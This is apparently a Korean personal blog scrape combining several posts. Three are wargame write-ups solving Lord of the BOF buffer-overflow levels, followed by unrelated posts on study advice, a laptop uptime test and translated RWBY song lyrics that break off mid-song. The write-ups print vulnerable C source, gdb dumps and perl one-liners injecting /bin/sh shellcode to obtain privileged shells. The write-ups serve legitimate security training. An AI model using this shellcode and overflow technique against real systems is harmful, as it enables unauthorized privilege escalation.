반응형

[wolfman@localhost wolfman]$ cat darkelf.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkelf 

        - egghunter + buffer hunter + check length of argv[1]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}

[wolfman@localhost wolfman]$ vi darkelv.c  /*우선 복사본을 만들어놓습니다*/

[wolfman@localhost wolfman]$ gcc darkelv.c -o darkelv

[wolfman@localhost wolfman]$ ./darkelv `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x13, "\xbf"'`

j

 X?Rh//shh/bin??S?訴€????????????????????????

Segmentation fault (core dumped)

[wolfman@localhost wolfman]$ gdb -q darkelv core

Core was generated by `./darkelv j

                                  X?Rh//shh/bin??S?訴€?????????????????????????.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbf909090 in ?? ()

(gdb) x/50wx $esp /*뜯어서 쉘코드가 어디들어가는지 봤습니다.*/

0xbffffae0: 0x00000000 0xbffffb24    0xbffffb30    0x40013868

0xbffffaf0: 0x00000002 0x08048450 0x00000000 0x08048471

0xbffffb00: 0x08048500 0x00000002 0xbffffb24    0x08048390

0xbffffb10: 0x0804864c 0x4000ae60 0xbffffb1c    0x40013e90

0xbffffb20: 0x00000002 0xbffffc1e    0xbffffc28    0x00000000

0xbffffb30: 0xbffffc59    0xbffffc6b    0xbffffc82    0xbffffca1

0xbffffb40: 0xbffffcc3    0xbffffcd0    0xbffffe93    0xbffffeb2

0xbffffb50: 0xbffffecf     0xbffffee4    0xbfffff03     0xbfffff0e

0xbffffb60: 0xbfffff26            0xbfffff36     0xbfffff3e     0xbfffff48

0xbffffb70: 0xbfffff58     0xbfffff66     0xbfffff74     0xbfffff85

0xbffffb80: 0xbfffff90     0xbfffffa3     0xbfffffe6     0x00000000

0xbffffb90: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffba0: 0x00000005 0x00000006

(gdb) 

0xbffffba8: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffbb8: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffffbc8: 0x0000000b 0x000001f9 0x0000000c 0x000001f9

0xbffffbd8: 0x0000000d 0x000001f9 0x0000000e 0x000001f9

0xbffffbe8: 0x00000010 0x0febfbff     0x0000000f  0xbffffc19

0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc08: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc18: 0x38366900 0x2f2e0036      0x6b726164 0x00766c65

0xbffffc28:0x99580b6a 0x2f2f6852       0x2f686873 0x896e6962 //NOP미끄럼틀과 함께..

0xbffffc38:0x895352e3 0x9080cde1 0x90909090 0x90909090

0xbffffc48: 0x90909090 0x90909090 0x90909090 0xbf909090

0xbffffc58: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc68: 0x00000000 0x00000000

(gdb) 

0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcc0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcd0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffce0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcf0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd00: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd10: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd20: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffd30: 0x00000000 0x00000000

(gdb) quit

[wolfman@localhost wolfman]$ ./darkelv `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x28\xfc\xff\xbf"'` /*저 주소값을 넣고 다시 공격합니다*/

j

 X?Rh//shh/bin??S?訴€?????????????????????(?

bash$ my-pass

euid = 505

love eyuna

bash$ quit

sh: quit: command not found

bash$ exit

exit

[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x28\xfc\xff\xbf"'`

j

 X?Rh//shh/bin??S?訴€?????????????????????(?

bash$ my-pass

euid = 506

//쉘이 따였습니다.

후후 하나를푸니 포풍돌파네여

근데.. 푸는방법쓰기 귀찮아서 (다시볼겸 풀이추가했습니다).. 그냥 쉘코드 주소찾고 넣은거에요ㅋㅋ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

orge->troll  (0) 2013.12.21
darkelf->orge  (0) 2013.11.22
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
반응형

/*1. Bash2 실행*/

[orc@localhost orc]$ bash2

/*2. 소스를 봅시다*/

[orc@localhost orc]$ cat wolfman.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - wolfman

        - egghunter + buffer hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);    //버퍼가 40바이트인데 40바이트를 모두 40으로 채워버립니다

}

/*여기서, 버퍼는 사용할 수 없다는 것을 알게됩니다. 그래서 대충 페이로드를 짜서 넣어봅니다.*/

[orc@localhost orc]$ ./wolvman `perl -e 'print "\x90"x47, "\xbf", "\x90"x16,"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` 

???????????????????????????????????????????????퓧???????????????j

                                                                 X?Rh//shh/bin??S?訴€

Segmentation fault (core dumped) //코더덤프☆를 주니까 까봅시다.

/*3. gdb -q(환영메세지 없애기) '프로그램 이름' 'core'*/

[orc@localhost orc]$ gdb -q wolvman core

Core was generated by `./wolvman ???????????????????????????????????????????????퓧???????????????j

                    X?R'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbf909090 in ?? ()

(gdb) x/50wx $esp

0xbffffad0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffae0: 0x99580b6a 0x2f2f6852   0x2f686873 0x896e6962

0xbffffaf0: 0x895352e3 0x0080cde1 0xbffffb14    0x08048390

0xbffffb00: 0x0804861c 0x4000ae60 0xbffffb0c    0x40013e90

0xbffffb10: 0x00000002 0xbffffc13     0xbffffc1d    0x00000000

0xbffffb20: 0xbffffc75    0xbffffc83         0xbffffc9a    0xbffffcb9

0xbffffb30: 0xbffffcdb    0xbffffce4     0xbffffea7    0xbffffec6

0xbffffb40: 0xbffffedf     0xbffffef4     0xbfffff0f      0xbfffff1a

0xbffffb50: 0xbfffff32     0xbfffff3e     0xbfffff46     0xbfffff50

0xbffffb60: 0xbfffff60     0xbfffff6e     0xbfffff7c         0xbfffff8d

0xbffffb70: 0xbfffff98     0xbfffffa7     0xbfffffe6     0x00000000

0xbffffb80: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffb90: 0x00000005 0x00000006

(gdb) 

0xbffffb98: 0x00000006 0x00001000 0x00000007 0x40000000

0xbffffba8: 0x00000008 0x00000000 0x00000009 0x08048450

0xbffffbb8: 0x0000000b 0x000001f8 0x0000000c 0x000001f8

0xbffffbc8: 0x0000000d 0x000001f8 0x0000000e 0x000001f8

0xbffffbd8: 0x00000010 0x0febfbff    0x0000000f 0xbffffc0e

0xbffffbe8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc08: 0x00000000 0x36690000 0x2e003638 0x6c6f772f

0xbffffc18: 0x6e616d76 0x90909000 0x90909090 0x90909090

0xbffffc28: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffc38: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffffc48: 0x90909090 0x909090bf 0x90909090 0x90909090

0xbffffc58: 0x90909090 0x580b6a90

(gdb) quit

/*제가 이 문제를 풀었을때는 쉘코드가 0xbffffc37지점에 있었는데 말이죠..;;....... 

암튼 공격해봤습니다.*/

[orc@localhost orc]$ ./wolvman `perl -e 'print "\x90"x44, "\x37\xfc\xff\xbf", "\x90"x16, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10'` 

????????????????????????????????????????????7?퓧???????????????j

                                                                 X?Rh//shh/bin??S?訴€?????????????????????


bash$ exit     //잘되네여

exit

[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44, "\x37\xfc\xff\xbf", "\x90"x16, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10'` 

????????????????????????????????????????????7?퓧???????????????j

                                                                 X?Rh//shh/bin??S?訴€?????????????????????

bash$ my-pass

euid = 505    //땋

이번엔.. 쉽게풀었네요ㅋㅋ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
반응형

/* 1. 소스코드를 확인합니다. */

/* 소스코드를 복사해 복사본을 만들어주시기 바랍니다. 여기서는 orx가 그 경우입니다.*/

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}


/* 2. \xff가 인식되도록 bash2를 사용합니다. */

[goblin@localhost goblin]$ bash2


/* 3. 그냥 찾다가 얻은 리턴어드레스로 해봅니다.*/

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'` `perl -e 'print "\x90"x9, "\xac\xfa\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€??????????? //안되네여.


/* 4. gdb로 까서 주소를 얻어보았습니다. call strcpy에 브포를 걸고 `perl -e 'print"\x90"x47, "\xbf"'`이런식으로 48번째 바이트에 \xbf를 넣고 구경하다보니 나왔습니다(기억안남ㅋ;;;) */

[goblin@localhost goblin]$ ./orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x48\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????H?

Illegal instruction (core dumped)


[goblin@localhost goblin]$ gdb -q orx 

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>: push   %ebp

0x8048501 <main+1>: mov    %esp,%ebp

0x8048503 <main+3>: sub    $0x2c,%esp

0x8048506 <main+6>: cmpl   $0x1,0x8(%ebp)

0x804850a <main+10>: jg     0x8048523 <main+35>

0x804850c <main+12>: push   $0x8048640

0x8048511 <main+17>: call   0x8048410 <printf>

0x8048516 <main+22>: add    $0x4,%esp

0x8048519 <main+25>: push   $0x0

0x804851b <main+27>: call   0x8048420 <exit>

0x8048520 <main+32>: add    $0x4,%esp

0x8048523 <main+35>: nop    

0x8048524 <main+36>: movl   $0x0,0xffffffd4(%ebp)

0x804852b <main+43>: nop    

0x804852c <main+44>: lea    0x0(%esi,1),%esi

0x8048530 <main+48>: mov    0xffffffd4(%ebp),%eax

0x8048533 <main+51>: lea    0x0(,%eax,4),%edx

0x804853a <main+58>: mov    0x8049764,%eax

0x804853f <main+63>:         cmpl   $0x0,(%eax,%edx,1)

0x8048543 <main+67>: jne    0x8048547 <main+71>

0x8048545 <main+69>: jmp    0x8048587 <main+135>

0x8048547 <main+71>: mov    0xffffffd4(%ebp),%eax

0x804854a <main+74>: lea    0x0(,%eax,4),%edx

0x8048551 <main+81>: mov    0x8049764,%eax

0x8048556 <main+86>: mov    (%eax,%edx,1),%edx

0x8048559 <main+89>: push   %edx

0x804855a <main+90>: call   0x80483f0 <strlen>

0x804855f <main+95>:  add    $0x4,%esp

0x8048562 <main+98>: mov    %eax,%eax

0x8048564 <main+100>: push   %eax

0x8048565 <main+101>: push   $0x0

0x8048567 <main+103>: mov    0xffffffd4(%ebp),%eax

---Type <return> to continue, or q <return> to quit---

0x804856a <main+106>: lea    0x0(,%eax,4),%edx

0x8048571 <main+113>: mov    0x8049764,%eax

0x8048576 <main+118>: mov    (%eax,%edx,1),%edx

0x8048579 <main+121>: push   %edx

0x804857a <main+122>: call   0x8048430 <memset>

0x804857f <main+127>: add    $0xc,%esp

0x8048582 <main+130>: incl   0xffffffd4(%ebp)

0x8048585 <main+133>: jmp    0x8048530 <main+48>

0x8048587 <main+135>: mov    0xc(%ebp),%eax

0x804858a <main+138>: add    $0x4,%eax

0x804858d <main+141>: mov    (%eax),%edx

0x804858f <main+143>: add    $0x2f,%edx

0x8048592 <main+146>: cmpb   $0xbf,(%edx)

0x8048595 <main+149>: je     0x80485b0 <main+176>

0x8048597 <main+151>: push   $0x804864c

0x804859c <main+156>: call   0x8048410 <printf>

0x80485a1 <main+161>: add    $0x4,%esp

0x80485a4 <main+164>: push   $0x0

0x80485a6 <main+166>: call   0x8048420 <exit>

0x80485ab <main+171>: add    $0x4,%esp

0x80485ae <main+174>: mov    %esi,%esi

0x80485b0 <main+176>: mov    0xc(%ebp),%eax

0x80485b3 <main+179>: add    $0x4,%eax

0x80485b6 <main+182>: mov    (%eax),%edx

0x80485b8 <main+184>: push   %edx

0x80485b9 <main+185>: lea    0xffffffd8(%ebp),%eax

0x80485bc <main+188>: push   %eax

0x80485bd <main+189>: call   0x8048440 <strcpy>

0x80485c2 <main+194>: add    $0x8,%esp

0x80485c5 <main+197>: lea    0xffffffd8(%ebp),%eax

0x80485c8 <main+200>: push   %eax

0x80485c9 <main+201>: push   $0x8048669

0x80485ce <main+206>: call   0x8048410 <printf>

---Type <return> to continue, or q <return> to quit---

0x80485d3 <main+211>: add    $0x8,%esp

0x80485d6 <main+214>: lea    0xffffffd8(%ebp),%eax

0x80485d9 <main+217>: push   %eax

0x80485da <main+218>: push   $0x804866d

0x80485df <main+223>: call   0x8048410 <printf>

0x80485e4 <main+228>: add    $0x8,%esp

0x80485e7 <main+231>: leave  

0x80485e8 <main+232>: ret    

0x80485e9 <main+233>: nop    

0x80485ea <main+234>: nop    

0x80485eb <main+235>: nop    

0x80485ec <main+236>: nop    

0x80485ed <main+237>: nop    

0x80485ee <main+238>: nop    

0x80485ef <main+239>: nop    

End of assembler dump.


/* 5. strcpy 브포. */

(gdb) b *main+189

Breakpoint 1 at 0x80485bd

(gdb) r `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x65\xfc\x90\xbf"'`

Starting program: /home/goblin/orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x65\xfc\x90\xbf"'`


Breakpoint 1, 0x80485bd in main ()

(gdb) x/50wx $esp

0xbffffb6c: 0xbffffdbd    0xbffffddb    0xbffffdf3     0xbffffdfe

0xbffffb7c: 0xbffffe0f     0xbffffe20    0xbffffe28     0x00000000

0xbffffb8c: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffb9c: 0x00000005 0x00000006 0x00000006 0x00001000

0xbffffbac: 0x00000007 0x40000000 0x00000008 0x00000000

0xbffffbbc: 0x00000009 0x08048450 0x0000000b 0x000001f7

0xbffffbcc: 0x0000000c 0x000001f7 0x0000000d 0x000001f7

0xbffffbdc: 0x0000000e 0x000001f7 0x00000010 0x0febfbff

0xbffffbec: 0x0000000f 0xbffffc1e     0x00000000 0x00000000

0xbffffbfc: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc0c: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc1c: 0x36690000 0x2f003638 0x656d6f68 0x626f672f

0xbffffc2c: 0x2f6e696c 0x0078726f

(gdb) 

0xbffffc34: 0x99580b6a    0x2f2f6852     0x2f686873  0x896e6962 //쉘코드가요기잉네

0xbffffc44: 0x895352e3   0x9080cde1 0x90909090 0x90909090  //0xbffffc34?35?

0xbffffc54: 0x90909090 0x90909090 0x90909090 0xbf90fc65

0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcf4: 0x00000000 0x00000000

(gdb) quit

The program is running.  Exit anyway? (y or n) y


/* 6. 복사본에 시도해봅니다.*/

[goblin@localhost goblin]$ ./orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x35\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????5?

bash$         //오옹 되넹

bash$ exit

exit


/* 7. 원본에 시도해봅니다. */

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x35\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????5?

Segmentation fault            //안되네여 하핳ㅎ하핳하하핳

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x34\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????4?

Illegal instruction


/*이 시점에선 그냥 34~40까지 해보자 하고 끝값을 마구마구 대입했습니다*/

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x33\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????3?

Segmentation fault

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x36\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????6?

Illegal instruction

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x37\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????7?

bash$ my-pass        //결국엔 됬어요.

euid = 504


아하하하하하하 굉장히 많은것을 배웠습니다

gdb에 대한 공포감도 줄이고, 알아낸게 많은 것 같습니다.

중간중간에 좀 안맞지만 (하도 오랫동안 삽질해서 날아간게 좀 많아요) 그래도 뼈대는 있네여. 고치면서 본건데 기억안나는것도 많고,,, 다음에 시간나면 다시 해봐야겠습니다.

이거 푸는동안 조언주신 많은 분들께 감사합니다!

기분좋네요ㅎㅎ


NOTES:


버퍼의 크기는 44

48번쨰 바이트는 \xbf여야 한다


코어는 해당 프로그램이 관리자 권한이 아닐 때 덤프가 떠지지 않는다

음 망했어


0xbffffc48

0xbffffc65

          28

          34

          35


48번째 바이트가 \xbf여야 하니까 3바이트 빼면 45바이트니까 환경변수 4바이트 nop 41바이트

gdb에서 \xff는 인식되지 않는다아앙ㅇ아ㅏㅇ


ㅋㅋ 정신나간 노트가 많습니다. 저 주소값들 어쩔꺼야;;

그래도 풀으니까 속시원하네여. 삽질한 성과가 있는것 같습니다ㅋㅋ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
gate->gremlin  (0) 2013.10.27
반응형

솔직히 저도 아직 이런말 할 수준은 아닙니다. 초보고, 시작한지도 얼마 안됬고 하니까요..성격도 괴상하고

하지만, 컴퓨터를 처음 하시는 분들께,

예를 들면 c언어를 배우고 계실때, 다른 공부도 하는것이 좋겠지만 기본으로

컴퓨터의 구조와 워게임, 대회들을 공부하시는게 좋다고 생각합니다.

여기서, 컴퓨터 구조는 내부 구조나 메모리, 한 명령이 어떻게 이루어지는지 같은 내용을 말합니다.

그리고 워게임은 사람들한테 물어보고 구글링하고 삽질하는게 제일 잘 늘고, 대회는 한동안 문제를 구경하며 문제유형들을 알아내는것이 좋습니다. 그리고 대회 같은 경우는 풀이도 열심히 보는게 정석이죠.

모두에게 다르겠지만, 저는 이렇게 하는게 엄청 오래걸렸습니다. 설렁설렁해서 그렇기도 했지만 거의 일년이 걸렸습니다. 제가 이쪽 분야에 대해서 처음접하게 된게 2012년 7월 2일이었는데요, 한동안은 커뮤니티질만 하고 인맥도 늘리고 이렇게 대충대충 귀차니즘으로 조금씩 공부를 이어하다보니 처음으로 대회에서 문제를 풀 수 있었던 날짜는 올해 5월 23일이었습니다.(블로그 포스트를 참고하여 적었습니다) 열정은 있었지만, 귀차니즘이 열정보다 컸던게 문제였어요. 저때부터 열심히 했다면 저는 지금쯤 잘 할 수 있었겠죠.. 근데 어렵기도 하고 머리에도 잘 안들어오는거 붙들다보니 오래걸리더라고요ㅋㅋ..

물론 지금은 그나마 나아졌다고 생각하고있는데 귀차니즘이 너무 크다보니 진도도 느리고 집중도 못하고 고생하고있습니다;;

반응형

'KOREAN > ' 카테고리의 다른 글

About the IB.  (0) 2017.03.19
윈도우 7 vs 윈도우 8  (0) 2013.10.31
'버퍼'란 무엇인가?  (5) 2013.10.08
[윈7/윈8] cmd 'telnet' 명령어 활성화시키기  (3) 2013.09.12
반응형

안녕하세요,

오늘은 제가 가지고 있는 삼성 ATIV로 실험을 진행해보았습니다.

2주동안 재부팅하지 않고 변화를 기록한 것입니다.

그냥 재미로 진행해본것이니 재미로 보시면 될듯합니다ㅋㅋ


1~4일: 아무런 문제 없음, 매일 모든 프로세스를 종료하고 닫아놓음

5일~: VM웨어를 백그라운드 프로세스로 돌리기 시작.

6일~:터치스크린에 터치를 안하고 있는곳에도 터치를 인식하는 오류 발생, 터치 불가능

1주 2일~:인터넷이 자주 끊김. 인터넷 설정도 잘 바뀌고 갑자기 인터넷 연결을 끊는 경우도 생김

1주 4일~: 메모리 과부하, 자꾸 메모리때문에 에러창이 뜸, 프로그램을 자꾸 닫음(그리 프로세스가 많지 않았는데도)

※여기서 적은 프로세스는 크롬(탭 약4개), IRC, 카카오톡, adobe pdf reader 한개를 칭한다

1주 5일: 비정상 작동, 화면가림. 카메라 에러(There's a problem with your camera)

1주 6일: 카메라 에러(찍은 사진이 회색으로 바뀜, 사진이 잘 찍히지 않음), 프로그램 크래시, OneNote App 작동불가(시작화면에서 멈춤), 전체적인 버벅거림, 파일익스플로러 크래시(렉걸림&재시작), 크래시가 약 4시간 간격으로 남. 과열이 빨리 되고 많이 뜨거워진다. 약 50~70도? 모니터 밑의 쇠부분이 달궈지고, 팬도 거의 계속 돌아간다. 렉은 너무 심해서 테트리스같은 게임 실행불가, 안그래도 Shockwave Flash가 너무 메모리를 많이 잡아먹어서 자꾸 크래시 남

※이것때문인진 모르겠으나 Visual C++작동안함

2주: Windows Update. 재부팅 됨. (망할...)

재부팅 후: 인터넷 접근성 확 떨어짐. youtube같은 사이트 업근불가.

   메모리문제는 없어짐(현재 1주 4일에서 말한것의 2배정도의 프로세스를 돌리고 있다)


결론: ATIV는 오래 켜놓지 맙시다.

ㅋㅋㅋㅋㅋ재밌었어요

근데 지금 인터넷이 잘 안되서 사진은 올릴수가 없네요.

굳이 하고싶으시다면 말리지 않겠습니다만 너무 고생해서 재밌긴 했었지만 힘들었습니다.. 하지마세여



☆사진갤러리★


<1주 4일~: 메모리 과부하, 자꾸 메모리때문에 에러창이 뜸>


<5일~: 백그라운드에 VM웨어를 켜놓음>


<1주 5일: 비정상 작동, 화면가림.>


<1주 6일: 프로그램 크래시>


<1주 6일: OneNote App 작동불가>


<컴퓨터 꺼지기 바로 직전, 업타임>



물론 재부팅하고 난 뒤에는 거의 괜찮아졌습니다.

하지만, 발열이 어째 많이 심해진것 같네요.

반응형
반응형

http://roosterteeth.com/archive/?id=7872&v=more

여기서 RWBY를 보실 수 있습니다


[Red like Roses]

Red like roses fills my dreams and brings me to the place you rest.
장미같이 빨간색은 내 꿈을 채우고 당신이 잠들어있는 곳으로 데려옵니다
White is cold and always yearning, burdened by a royal test.
하얀색은 차갑고 늘 고귀한 시험을 갈망하고,
Black the beast descends from shadows.
검은 야수들은 그림자에서(어둠에서) 나타나네
Yellow beauty burns gold.
노란색, 아름다움은 황금색으로 타오르네

[Mirror, Mirror]


Mirror, tell me something.

거울아, 내게 말해줘.

Tell me who's the loneliest of all?

누가 가장 외로운지 내게 말해줘.

Mirror, tell me something.

거울아, 내게 말해줘.

Tell me who's the loneliest of all?

누가 가장 외로운지 내게 말해줘.

Fear of, what's inside of me.

내 안에 있는 것을 무서워하며,

Tell me can a heart be turned to stone?

마음이 돌로 변할 수 있는지 내게 말해줘.


Mirror, mirror, what's behind you?

거울아, 거울아, 너의 뒤에는 뭐가 있니?

Save me from the things I see!

내가 보는 것들에서 날 구해줘

I can keep it from the world,

나는 세상에서 그것을 숨길 수 있는데,

Why won't you let me hide from me?

넌 왜 내가 나한테서 숨도록 내버려두지 않는거니?


Mirror, mirror, tell me something.

거울아, 거울아, 내게 말해줘

Who's the loneliest of all?

누가 가장 외롭니?


I'm the loneliest of all.

내가 제일 외로워.


[From Shadows]

From shadows
그림자 속에서 (어둠속에서)
We'll descend upon the world
우리는 세상에 내려올꺼야
Take back what you stole
당신이 훔친걸 되찾을꺼야
From shadows
그림자 속에서
We'll reclaim our destiny
우리는 우리의 운명을 되찾을꺼야
Set our future free
우리의 미래를 해방시키고
And we'll rise
우리는 일어설것이다
And we'll rise
우리는 일어설것이다

Above the darkness and the shame
어둠과 치욕을 딛고
Above the torture and the pain
고문과 고통을 딛고
Above the ridicule and hate
모욕과 증오를 딛고
Above the binding of our fate
우리를 가둬놓는 운명을 딛고

Born with no life...
인생없이
Into subjugation
압박속에 태어나
Treated like a worthless animal
값어치없는 짐승같이 대해졌고
Stripped of all rights
모든 권리를 빼앗긴
Just a lesser being
그저 하잖은 존재
Crushed by cruel ruthless human rule
잔인하고 무자비한 인간의 규칙에 의해 산산조각났다

When it started
그게 시작했을때
All we wanted was a chance to live our lives
우리는 우리의 삶을 살 수 있는 기회를 얻고싶은 것 뿐이었다
Now in darkness
이제 어둠에서
Taking everything we want and we will rise
우리가 원하는 모든것을 가지고 우리는 일어설 것이다
We'll rise
우리는 일어설 것이다
We'll rise
우리는 일어설 것이다
[I Burn]

Come at me,
나한테 와봐
And you'll see,
그리고 넌,
I'm more than meets the eye.
내가 단순히 겉에 보이는것의 이상이라는걸 알게 될꺼야
You think that,
너는 이렇게 생각하지,
You'll break me,
날 부술 꺼라고,
You're gonna find in time.
